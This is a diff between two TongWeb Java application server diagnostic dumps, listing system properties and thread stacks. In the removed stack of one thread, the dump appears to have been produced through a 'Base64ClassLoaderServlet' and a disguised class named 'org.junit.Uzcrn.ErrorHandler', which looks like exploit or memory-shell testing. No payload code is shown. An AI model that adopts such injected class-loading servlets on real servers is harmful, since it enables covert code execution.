sun.java.launcher: SUN_STANDARD sun.management.compiler: HotSpot 64-Bit Tiered Compilers catalina.useNaming: true os.name: Linux xss_defense: true openejb.provider.default: com.tongweb.tomee -sun.boot.class.path: /opt/tweb7/lib/endorsed/annotation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +sun.boot.class.path: /opt/tweb7/lib/endorsed/annotation-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory -disableResourceCache: true checkNonXADB: true java.vm.specification.vendor: Oracle Corporation -java.runtime.version: 1.8.0_342-b07 -enable_query_cache: false +java.runtime.version: 1.8.0_482-b08 tomee.version: ${pom.version} user.name: root openejb.deployments.classpath.filter.systemapps: false @@ -27,15 +24,14 @@ java.naming.factory.initial: com.tongweb.naming.java.javaURLContextFactory user.language: en derby.system.home: /opt/tweb7/bin ibm.stream.nio: true -sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64 openejb.deployments.classpath: false resLowversionLoad: false -tongweb.java: /usr/local/openjdk-8 -java.version: 1.8.0_342 +tongweb.java: /opt/java/openjdk +java.version: 1.8.0_482 java.util.logging.manager: com.tongweb.log.TongwebLogManager user.timezone: Etc/UTC java.net.preferIPv4Stack: false -tongweb.X_Frame_Options: SAMEORIGIN sun.arch.data.model: 64 tongweb.util.buf.StringCache.byte.enabled: true LoadClassCache.Disabled: true @@ -47,20 +43,20 @@ file.encoding.pkg: sun.io package.access: sun.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.web. file.separator: / java.specification.name: Java Platform API Specification -tongweb.jmx.remote.x.access.file: /opt/tweb7/conf/security/jmxremote.access java.class.version: 52.0 tongweb.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,catalina-jmx-remote.jar,catalina-ws.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,oraclepki.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar tomee.remote.support: false -java.home: /usr/local/openjdk-8/jre +user.country: US +java.home: /opt/java/openjdk/jre java.vm.info: mixed mode -os.version: 6.14.10-orbstack-00291-g1b252bd3edea +os.version: 6.8.0-111-generic com.tongweb.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal openejb.embedder.source: ThanosServerListener tongweb.sysapp: /opt/tweb7/applications compatibleWithWas: false path.separator: : TONGTECH_BC_JAR_PATH: /opt/tweb7/lib/bc/bcprov.jar -java.vm.version: 25.342-b07 +java.vm.version: 25.482-b08 bval.in-container: true com.tongweb.webbeans.logger.WebBeansLoggerFacade: com.tongweb.tongejb.cdi.logging.ContainerJULLoggerFactory useInsAnnoCheckCache: false @@ -68,6 +64,7 @@ java.awt.printerjob: sun.print.PSPrinterJob authconfigprovider.factory: false java.security.policy: /opt/tweb7/conf/tongweb.policy sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 6 awt.toolkit: sun.awt.X11.XToolkit tongweb.base: /opt/tweb7 package.definition: sun.,java.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.naming.,com.tongweb.web. @@ -77,22 +74,23 @@ openejb.home: /opt/tweb7 java.security.egd: file:/dev/./urandom user.home: /root java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader +auditLogSavePath: logs/audit-log openejb.version: ${pom.version} disableVerCode: true java.specification.vendor: Oracle Corporation WebserviceCXF.OFF: true contentLength.limit: 10000 jvProfile: true -java.library.path: :/opt/tweb7/native/linux/aarch64:/usr/java/packages/lib/aarch64:/lib:/usr/lib -java.vendor.url: http://java.oracle.com/ -tongweb.rmijmx.cbport: 7200 -java.vm.vendor: Oracle Corporation -common.loader: "${tongweb.home}/patch/sys_manifest_classpath/*.jar","${tongweb.home}/lib","${tongweb.home}/lib/*.jar" +java.library.path: :/opt/tweb7/native/linux/x64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +java.vm.vendor: Temurin +common.loader: "${tongweb.home}/lib","${tongweb.home}/lib/*.jar" java.runtime.name: OpenJDK Runtime Environment sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start WebModuleOnly: false -java.class.path: /usr/local/openjdk-8/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/jdk-api.jar:/opt/tweb7/lib/ejb-agent.jar +java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/jdk-api.jar:/opt/tweb7/lib/ejb-agent.jar com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl +enable_sql_exec: false tomee.serialization.class.blacklist: - com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger java.vm.specification.name: Java Virtual Machine Specification @@ -102,14 +100,13 @@ sun.os.patch.level: unknown java.awt.headless: true java.io.tmpdir: /opt/tweb7/temp xss_apps: console,heimdall -java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues switchCharacterEncoding: false server.loader: -cdi.passivate: false -java.rmi.server.hostname: 192.168.215.4 -os.arch: aarch64 +java.rmi.server.hostname: 172.17.0.4 +os.arch: amd64 java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment -java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext tongweb.jndi.lookup.relaxVersion: false user.dir: /opt/tweb7/bin ShutdownSocketDisabled: false @@ -131,94 +128,7 @@ master.path: /opt/tweb7 =========================================== ThreadStacks: -"http-nio2-0.0.0.0-9060-exec-5" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) - at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) - at java.lang.Thread.run(Thread.java:750) - -"IntelligentRouterHealthInfoCollector" #185 [TIMED_WAITING] on java.util.TaskQueue@703fde5c - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at java.util.TimerThread.mainLoop(Timer.java:552) - at java.util.TimerThread.run(Timer.java:505) - -"http-nio2-8080-Acceptor-0" #115 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@353d4e3f - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) - at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) - at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) - at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) - at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) - at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444) - at java.lang.Thread.run(Thread.java:750) - -"http-nio2-8080-exec-7" #35 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.lang.Thread.dumpThreads(Native Method) - at java.lang.Thread.getAllStackTraces(Thread.java:1615) - at org.junit.Uzcrn.ErrorHandler.toString(BasicInfoPrinter.java:26) - at java.lang.String.valueOf(String.java:2994) - at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244) - at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) - at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230) - at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) - at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53) - at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) - at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) - at EmptyFilter.doFilter(EmptyFilter.java:21) - at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) - at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) - at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) - at com.tongweb.catalina.core.StandardContextValve.invoke0(StandardContextValve.java:123) - at com.tongweb.catalina.core.ThanosStandardContextValve.invoke0(ThanosStandardContextValve.java:14) - at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:114) - at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:103) - at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44) - at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:452) - at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:346) - at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97) - at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80) - at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) - at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:43) - at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:21) - at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:469) - at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:870) - at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19) - at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) - at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:921) - at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1635) - at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1172) - at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-5100-exec-1" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) - at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) - at java.lang.Thread.run(Thread.java:750) - -"Thread-35" #132 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4c2b943 +"Thread-33" #159 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@801f228 java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) @@ -230,7 +140,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"http-nio2-8080-exec-1" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 +"http-nio2-9060-exec-8" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -244,7 +154,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-exec-9" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 +"http-nio-5100-exec-7" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -258,7 +168,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio2-0.0.0.0-9060-exec-7" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 +"http-nio2-8080-exec-4" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -272,14 +182,15 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"RMI RenewClean-[192.168.215.4:7200]" #107 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@5512b170 - java.lang.Thread.State: TIMED_WAITING +"RMI Reaper" #93 [WAITING] on java.lang.ref.ReferenceQueue$Lock@406c3d06 + java.lang.Thread.State: WAITING at java.lang.Object.wait(Native Method) at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) at java.lang.Thread.run(Thread.java:750) -"http-nio2-8080-exec-6" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 +"http-nio2-9060-exec-4" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -293,7 +204,17 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-exec-10" #126 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 +"http-nio-5100-ClientPoller-1" #116 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:796) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-9060-exec-3" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -307,21 +228,30 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio2-8080-exec-9" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 +"JCA-default-thread-pool-worker-7" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) - at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-2-thread-1" #141 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@380b2051 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"http-nio2-0.0.0.0-9060-exec-3" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 +"http-nio2-8080-exec-3" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -335,7 +265,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-1" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 +"JCA-default-thread-pool-worker-5" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -346,36 +276,58 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Thread-6" #39 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPoll.epollWait(Native Method) - at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) +"JCA-default-thread-pool-worker-4" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Signal Dispatcher" #4 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE +"http-nio2-8080-exec-10" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) -"TONGWEB-startStop-2" #111 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1151f6b3 +"Stateful cache" #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d4f82c java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"RMI Reaper" #104 [WAITING] on java.lang.ref.ReferenceQueue$Lock@110522a2 +"http-nio-5100-exec-2" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Connection(1)-192.168.215.4" #105 daemon [RUNNABLE] +"RMI TCP Connection(2)-172.17.0.4" #97 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at java.net.SocketInputStream.socketRead0(Native Method) at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) @@ -387,21 +339,35 @@ ThreadStacks: at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1078591587.run(Unknown Source) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/953137620.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@515c88c3 +"RetryTimer" #89 daemon [WAITING] on java.util.TaskQueue@6f175dd java.lang.Thread.State: WAITING at java.lang.Object.wait(Native Method) at java.lang.Object.wait(Object.java:502) - at java.lang.ref.Reference.tryHandlePending(Reference.java:191) - at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-5100-exec-9" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at 